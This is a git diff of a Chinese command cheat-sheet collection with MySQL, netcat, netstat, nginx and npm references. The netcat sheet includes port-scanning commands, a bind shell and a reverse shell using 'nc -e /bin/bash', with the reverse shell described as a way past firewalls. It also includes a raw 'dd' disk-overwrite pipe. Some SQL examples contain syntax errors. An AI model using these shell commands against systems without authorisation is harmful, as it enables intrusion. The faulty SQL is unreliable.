`SHOW FIELDS FROM` t`;` | 表的列表字段
|
||||
`DESC` t`;` | 显示表格结构
|
||||
`SHOW CREATE TABLE`t`;` | 显示创建表sql
|
||||
`TRUNCATE TABLE`t`;` | 删除表中的所有数据
|
||||
`DROP TABLE`t`;` | 删除表格
|
||||
|
||||
#### Proccess
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`show processlist;` | 列出进程
|
||||
`kill` pid`;` | 杀死进程
|
||||
|
||||
### 查看 MySQL 信息
|
||||
|
||||
```shell
|
||||
# 显示当前mysql的version的各种信息
|
||||
mysql> status;
|
||||
# 显示当前mysql的version信息
|
||||
mysql> select version();
|
||||
# 查看 MySQL 端口号
|
||||
mysql> show global variables like 'port';
|
||||
```
|
||||
|
||||
### 退出MySQL会话
|
||||
|
||||
```bash
|
||||
mysql> exit
|
||||
```
|
||||
|
||||
退出 `quit;` 或 `\q;` 一样的效果
|
||||
|
||||
### 备份
|
||||
|
||||
创建备份
|
||||
|
||||
```sql
|
||||
mysqldump -u user -p db_name > db.sql
|
||||
```
|
||||
|
||||
导出不带架构的数据库
|
||||
|
||||
```shell
|
||||
mysqldump -u user -p db_name --no-data=true --add-drop-table=false > db.sql
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
恢复备份
|
||||
|
||||
```shell
|
||||
mysql -u user -p db_name < db.sql
|
||||
```
|
||||
|
||||
MySQL 示例
|
||||
------
|
||||
|
||||
### 管理表格
|
||||
|
||||
创建一个包含三列的新表
|
||||
|
||||
```sql
|
||||
CREATE TABLE t (
|
||||
id INT,
|
||||
name VARCHAR DEFAULT NOT NULL,
|
||||
price INT DEFAULT 0
|
||||
PRIMARY KEY(id)
|
||||
);
|
||||
```
|
||||
|
||||
从数据库中删除表
|
||||
|
||||
```sql
|
||||
DROP TABLE t ;
|
||||
```
|
||||
|
||||
向表中添加新列
|
||||
|
||||
```sql
|
||||
ALTER TABLE t ADD column;
|
||||
```
|
||||
|
||||
从表中删除列c
|
||||
|
||||
```sql
|
||||
ALTER TABLE t DROP COLUMN c ;
|
||||
```
|
||||
|
||||
添加约束
|
||||
|
||||
```sql
|
||||
ALTER TABLE t ADD constraint;
|
||||
```
|
||||
|
||||
删除约束
|
||||
|
||||
```sql
|
||||
ALTER TABLE t DROP constraint;
|
||||
```
|
||||
|
||||
将表从t1重命名为t2
|
||||
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME TO t2;
|
||||
```
|
||||
|
||||
将列c1重命名为c2
|
||||
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME c1 TO c2 ;
|
||||
```
|
||||
|
||||
将列c1的数据类型改为datatype
|
||||
|
||||
```sql
|
||||
ALTER TABLE t1 MODIFY c1 datatype;
|
||||
```
|
||||
|
||||
删除表中的所有数据
|
||||
|
||||
```sql
|
||||
TRUNCATE TABLE t;
|
||||
```
|
||||
|
||||
### 从表中查询数据
|
||||
|
||||
从表中查询列c1、c2中的数据
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
```
|
||||
|
||||
查询表中的所有行和列
|
||||
|
||||
```sql
|
||||
SELECT * FROM t
|
||||
```
|
||||
|
||||
查询数据并使用条件筛选行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
查询表中的不同行
|
||||
|
||||
```sql
|
||||
SELECT DISTINCT c1 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
按升序或降序对结果集排序
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1 ASC [DESC]
|
||||
```
|
||||
|
||||
跳过行的偏移并返回下n行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1
|
||||
LIMIT n OFFSET offset
|
||||
```
|
||||
|
||||
使用聚合函数对行进行分组
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
```
|
||||
|
||||
使用HAVING子句筛选组
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
HAVING condition
|
||||
```
|
||||
|
||||
### 从多个表查询
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
内部连接 t1 和 t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
INNER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
左连接t1和t1
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
LEFT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
右连接t1和t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
RIGHT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
执行完全外部连接
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
FULL OUTER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
生成表中行的笛卡尔积
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
CROSS JOIN t2
|
||||
```
|
||||
|
||||
执行交叉连接的另一种方法
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1, t2
|
||||
```
|
||||
|
||||
使用INNER Join子句将t1连接到自身
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1 A
|
||||
INNER JOIN t1 B ON condition
|
||||
```
|
||||
|
||||
使用SQL运算符,合并两个查询中的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
UNION [ALL]
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
返回两个查询的交集
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
INTERSECT
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
从另一个结果集中减去一个结果集
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
MINUS
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
使用模式匹配%查询行_
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
WHERE c1 [NOT] LIKE pattern
|
||||
```
|
||||
|
||||
查询列表中的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 [NOT] IN value_list
|
||||
```
|
||||
|
||||
查询两个值之间的行
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 BETWEEN low AND high
|
||||
```
|
||||
|
||||
检查表中的值是否为NULL
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 IS [NOT] NULL
|
||||
```
|
||||
|
||||
### 使用 SQL 约束
|
||||
|
||||
将c1和c2设置为主键
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT, c3 VARCHAR,
|
||||
PRIMARY KEY (c1,c2)
|
||||
);
|
||||
```
|
||||
|
||||
将c2列设置为外键
|
||||
|
||||
```sql
|
||||
CREATE TABLE t1(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 INT,
|
||||
FOREIGN KEY (c2) REFERENCES t2(c2)
|
||||
);
|
||||
```
|
||||
|
||||
使c1和c2中的值唯一
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c1 INT,
|
||||
UNIQUE(c2,c3)
|
||||
);
|
||||
```
|
||||
|
||||
确保c1>0和c1>=c2中的值
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT,
|
||||
CHECK(c1> 0 AND c1 >= c2)
|
||||
);
|
||||
```
|
||||
|
||||
c2列中的设置值不为NULL
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 VARCHAR NOT NULL
|
||||
);
|
||||
```
|
||||
|
||||
### 修改数据
|
||||
|
||||
在表格中插入一行
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES(value_list);
|
||||
```
|
||||
|
||||
在表格中插入多行
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES (value_list),
|
||||
(value_list), …;
|
||||
```
|
||||
|
||||
将行从t2插入t1
|
||||
|
||||
```sql
|
||||
INSERT INTO t1(column_list)
|
||||
SELECT column_list
|
||||
FROM t2;
|
||||
```
|
||||
|
||||
更新列c1中所有行的新值
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value;
|
||||
```
|
||||
|
||||
更新列c1、c2中与条件匹配的值
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value,
|
||||
c2 = new_value
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
删除表中的所有数据
|
||||
|
||||
```sql
|
||||
DELETE FROM t;
|
||||
```
|
||||
|
||||
删除表中的行子集
|
||||
|
||||
```sql
|
||||
DELETE FROM t
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
### 管理视图
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
创建由c1和c2组成的新视图
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
使用选中选项创建新视图
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
WITH [CASCADED | LOCAL] CHECK OPTION;
|
||||
```
|
||||
|
||||
创建递归视图
|
||||
|
||||
```sql
|
||||
CREATE RECURSIVE VIEW v
|
||||
AS
|
||||
select-statement -- anchor part
|
||||
UNION [ALL]
|
||||
select-statement; -- recursive part
|
||||
```
|
||||
|
||||
创建临时视图
|
||||
|
||||
```sql
|
||||
CREATE TEMPORARY VIEW v
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
删除视图
|
||||
|
||||
```sql
|
||||
DROP VIEW view_name;
|
||||
```
|
||||
|
||||
### 管理触发器
|
||||
|
||||
创建或修改触发器
|
||||
|
||||
```sql
|
||||
CREATE OR MODIFY TRIGGER trigger_name
|
||||
WHEN EVENT
|
||||
ON table_name TRIGGER_TYPE
|
||||
EXECUTE stored_procedure;
|
||||
```
|
||||
|
||||
#### WHEN
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`BEFORE` | 在事件发生前调用
|
||||
`AFTER` | 事件发生后调用
|
||||
|
||||
#### EVENT
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`INSERT` | 为INSERT调用
|
||||
`UPDATE` | 调用UPDATE
|
||||
`DELETE` | 调用DELETE
|
||||
|
||||
#### TRIGGER_TYPE
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`FOR EACH ROW` | -
|
||||
`FOR EACH STATEMENT` | -
|
||||
|
||||
### 管理索引
|
||||
|
||||
在t表的c1和c2上创建索引
|
||||
|
||||
```sql
|
||||
CREATE INDEX idx_name
|
||||
ON t(c1,c2);
|
||||
```
|
||||
|
||||
在t表的c3、c4上创建唯一索引
|
||||
|
||||
```sql
|
||||
CREATE UNIQUE INDEX idx_name
|
||||
ON t(c3,c4)
|
||||
```
|
||||
|
||||
删除索引
|
||||
|
||||
```sql
|
||||
DROP INDEX idx_name;
|
||||
```
|
||||
|
||||
MySQL 数据类型
|
||||
---------
|
||||
|
||||
### Strings
|
||||
|
||||
| - | - |
|
||||
|--------------|-----------------------------|
|
||||
| `CHAR` | String (0 - 255) |
|
||||
| `VARCHAR` | String (0 - 255) |
|
||||
| `TINYTEXT` | String (0 - 255) |
|
||||
| `TEXT` | String (0 - 65535) |
|
||||
| `BLOB` | String (0 - 65535) |
|
||||
| `MEDIUMTEXT` | String (0 - 16777215) |
|
||||
| `MEDIUMBLOB` | String (0 - 16777215) |
|
||||
| `LONGTEXT` | String (0 - 4294967295) |
|
||||
| `LONGBLOB` | String (0 - 4294967295) |
|
||||
| `ENUM` | One of preset options |
|
||||
| `SET` | Selection of preset options |
|
||||
|
||||
### Date & time
|
||||
|
||||
| Data Type | Format |
|
||||
|-------------|---------------------|
|
||||
| `DATE` | yyyy-MM-dd |
|
||||
| `TIME` | hh:mm:ss |
|
||||
| `DATETIME` | yyyy-MM-dd hh:mm:ss |
|
||||
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
|
||||
| `YEAR` | yyyy |
|
||||
|
||||
### Numeric
|
||||
|
||||
| - | - |
|
||||
|---------------|---------------------------------------------------------------|
|
||||
| `TINYINT x` | Integer (-128 to 127) |
|
||||
| `SMALLINT x` | Integer (-32768 to 32767) |
|
||||
| `MEDIUMINT x` | Integer (-8388608 to 8388607) |
|
||||
| `INT x` | Integer (-2147483648 to 2147483647) |
|
||||
| `BIGINT x` | Integer (-9223372036854775808 to 9223372036854775807) |
|
||||
| `FLOAT` | Decimal (precise to 23 digits) |
|
||||
| `DOUBLE` | Decimal (24 to 53 digits) |
|
||||
| `DECIMAL` | "DOUBLE" stored as string |
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [SQL 基础教程](http://www.w3school.com.cn/sql/index.asp) _(w3school.com.cn)_
|
||||
- [SQL 语句教程](http://www.1keydata.com/cn/sql/sql-count.php) _(1keydata.com)_
|
||||
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_
|
229
docs/netcat.md
Normal file
229
docs/netcat.md
Normal file
@ -0,0 +1,229 @@
|
||||
Netcat 备忘清单
|
||||
===
|
||||
|
||||
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
|
||||
### 用法
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
连接到位于任何地方的主机
|
||||
|
||||
```shell
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
监听传入连接
|
||||
|
||||
```shell
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3 row-span-2-->
|
||||
|
||||
选项 | 示例 | 说明
|
||||
:- | :- | :-
|
||||
`-h` | nc -h | 帮助
|
||||
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
|
||||
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
|
||||
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
|
||||
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
|
||||
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
|
||||
`-k` | nc -kl 8000 | 断线后继续收听
|
||||
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
|
||||
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
|
||||
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
|
||||
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
|
||||
|
||||
### 聊天客户端-服务器
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Netcat 示例
|
||||
--------
|
||||
|
||||
### Banner 抓取
|
||||
|
||||
```shell
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### 端口扫描
|
||||
|
||||
扫描 `21` 到 `25` 之间的端口
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
扫描端口 `22`、`3306` 和 `8080`
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
### 代理和端口转发
|
||||
|
||||
```shell
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
|
||||
创建从一个本地端口到另一个本地端口的隧道
|
||||
|
||||
### 下载文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
|
||||
|
||||
### 上传文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
|
||||
|
||||
### 目录传输
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
假设您想通过网络将目录从 `A` 传输到 `B`
|
||||
|
||||
### 加密传输
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
在通过网络传输之前加密数据
|
||||
|
||||
### 克隆
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
|
||||
|
||||
### 视频流
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
使用 netcat 流式传输视频
|
||||
|
||||
### 远程 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 `netcat` 创建远程 `shell`
|
||||
|
||||
### 逆转 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
|
206
docs/netstat.md
Normal file
206
docs/netstat.md
Normal file
@ -0,0 +1,206 @@
|
||||
Netstat 备忘清单
|
||||
===
|
||||
|
||||
此快速参考备忘单提供了各种使用 netstat 命令的方法
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 入门实例
|
||||
|
||||
端口 80 上的所有连接
|
||||
|
||||
```shell
|
||||
$ netstat -anp | grep :80
|
||||
```
|
||||
|
||||
网络统计帮助
|
||||
|
||||
```shell
|
||||
$ netstat -h
|
||||
```
|
||||
|
||||
### 监听
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -ltunp` | 所有监听端口
|
||||
`netstat -ltn` | 监听 TCP 端口
|
||||
`netstat -lun` | 监听 UDP 端口
|
||||
`netstat -lx` | 监听 Unix 端口
|
||||
`netstat -lt` | 仅列出侦听 TCP 端口
|
||||
`netstat -lu` | 仅列出侦听 UDP 端口
|
||||
`netstat -l` | 列出所有监听条件
|
||||
|
||||
### 连接
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat` | 活动连接
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
`netstat -tnl` | 监听 TCP 端口
|
||||
`netstat -unl` | 监听 UDP 端口
|
||||
|
||||
### 网络
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -i` | 显示网络接口
|
||||
`netstat -ie` | 显示网络接口扩展信息
|
||||
`netstat -n` | 仅显示 IP 地址
|
||||
`netstat -F` | 尽可能显示 IP 地址的域名
|
||||
|
||||
### 路由
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -r` | 显示路由表
|
||||
`netstat -rn` | 显示路由表,不解析主机
|
||||
|
||||
### 统计数据
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -s` | 显示统计信息
|
||||
`netstat -st` | 显示 TCP 统计信息
|
||||
`netstat -su` | 显示 UDP 统计信息
|
||||
`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
|
||||
`netstat -tp` | 显示带有 PID 编号的服务名称
|
||||
`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
|
||||
`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
|
||||
`netstat -M` | 显示伪装的连接
|
||||
|
||||
### 显示没有域名的 TCP 连接
|
||||
|
||||
```bash
|
||||
$ netstat --tcp --numeric
|
||||
```
|
||||
|
||||
### 显示活动/已建立的连接
|
||||
|
||||
```bash
|
||||
$ netstat -atnp | grep ESTA
|
||||
```
|
||||
|
||||
### 获取活动连接的连续列表
|
||||
|
||||
```bash
|
||||
$ watch -d -n0 "netstat -atnp | grep ESTA"
|
||||
```
|
||||
|
||||
### 显示到特定端口的所有打开连接
|
||||
|
||||
```bash
|
||||
$ netstat -anp | grep":"
|
||||
```
|
||||
|
||||
插入`端口`号(上图)代替冒号 `:`
|
||||
|
||||
### 检查服务是否正在运行
|
||||
|
||||
```bash
|
||||
$ sudo netstat -aple | grep ntp
|
||||
```
|
||||
|
||||
你可以用`http`、`smtp`代替`ntp`
|
||||
|
||||
Netstat – 安全命令
|
||||
---
|
||||
|
||||
### 显示具有大量连接的 IP
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 连接到端口 80 的 IP 地址
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 显示端口 80 上的活动连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an |grep :80 |wc -l
|
||||
```
|
||||
|
||||
### 仅显示外部 IP 地址
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
|
||||
```
|
||||
|
||||
### 显示活动 SYNC_REC
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数,则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
|
||||
|
||||
```bash
|
||||
$ netstat -n -p|grep SYN_REC | wc -l
|
||||
```
|
||||
|
||||
#### 列出发送 SYN_REC 连接的唯一 IP 地址
|
||||
|
||||
```bash
|
||||
$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
与上面的命令一样,该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
|
||||
|
||||
### 每个远程 IP 的连接数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
或者
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 检查开放端口(ipv4 和 ipv6)
|
||||
|
||||
```bash
|
||||
$ netstat -plntu
|
||||
```
|
||||
|
||||
### 检查开放端口(ipv4 和 ipv6)
|
||||
|
||||
```bash
|
||||
$ netstat -plnt
|
||||
```
|
||||
|
||||
### 每个 IP 的打开连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an | grep 80 | wc -l
|
||||
```
|
||||
|
||||
### 活跃的互联网连接
|
||||
|
||||
```bash
|
||||
$ netstat -pnut -w | column -t -s $'\t'
|
||||
```
|
@ -1,7 +1,7 @@
|
||||
NGINX 备忘清单
|
||||
===
|
||||
|
||||
这个 nginx 快速参考备忘单显示了它的常用命和配置使用清单。
|
||||
这个 [nginx](https://nginx.org/en/) 快速参考备忘单显示了它的常用命和配置使用清单。
|
||||
|
||||
入门
|
||||
----
|
||||
@ -208,7 +208,7 @@ location /folder/ { # / 很重要!
|
||||
### 反向代理
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 基础
|
||||
#### 基础
|
||||
|
||||
```nginx
|
||||
server {
|
||||
@ -260,7 +260,7 @@ server {
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
proxy_set_header Host $host;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
@ -313,7 +313,6 @@ server {
|
||||
|
||||
您可以使用 Let's Encrypt 轻松保护您的网站/应用程序。去 [lets-encrypt](https://certbot.eff.org/lets-encrypt/ubuntuxenial-nginx.html) 获取更多信息
|
||||
|
||||
|
||||
### 重定向(301永久)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
@ -867,4 +866,4 @@ location = /robots.txt {
|
||||
---
|
||||
|
||||
- [Nginx 安装维护入门学习笔记](https://jaywcjlove.github.io/nginx-tutorial) _(jaywcjlove.github.io)_
|
||||
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_
|
||||
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_
|
||||
|
466
docs/npm.md
466
docs/npm.md
@ -1,7 +1,7 @@
|
||||
npm 备忘清单
|
||||
===
|
||||
|
||||
这个 npm 快速参考备忘单显示了它的常用命令使用清单。
|
||||
这个 [npm](https://www.npmjs.com/) 快速参考备忘单显示了它的常用命令使用清单
|
||||
|
||||
常用命令
|
||||
----
|
||||
@ -9,144 +9,298 @@ npm 备忘清单
|
||||
|
||||
### 包管理
|
||||
|
||||
| 命令 | 描述 |
|
||||
| --- | --- |
|
||||
| `npm i` | `npm install`的别名 |
|
||||
| `npm install` | 安装 package.json 中的所有内容 |
|
||||
| `npm install --production` | 安装 package.json 中的所有内容,除了 devDependecies |
|
||||
| `npm install lodash` | 安装一个包 |
|
||||
| `npm install --save-dev lodash` | 安装为 devDependency |
|
||||
| `npm install --save-exact lodash` | 准确安装 |
|
||||
| `npm install @scope/package-name` | 安装一个作用域的公共包 |
|
||||
| `npm install <package_name>@<tag>` | 使用 dist-tags 安装包 |
|
||||
| `npm install -g <package_name>` | 全局安装包 |
|
||||
| `npm uninstall <package_name>` | 卸载包 |
|
||||
命令 | 描述
|
||||
:- |:-
|
||||
`npm init -y` | 创建 `package.json` 文件
|
||||
`npm install` 或 `npm i` | 安装 `package.json` 中的所有内容
|
||||
`npm install --production` | 安装 `package.json` 中的所有内容 <br /> _(除了 `devDependecies`)_
|
||||
`npm install lodash` | 安装一个包
|
||||
`npm install --save-dev lodash` | 安装为 `devDependency`
|
||||
`npm install --save-exact lodash` | 准确安装
|
||||
`npm install @scope/package-name` | 安装一个作用域的公共包
|
||||
`npm install <package_name>@<tag>` | 使用 `dist-tags` 安装包
|
||||
`npm install -g <package_name>` | 全局安装包
|
||||
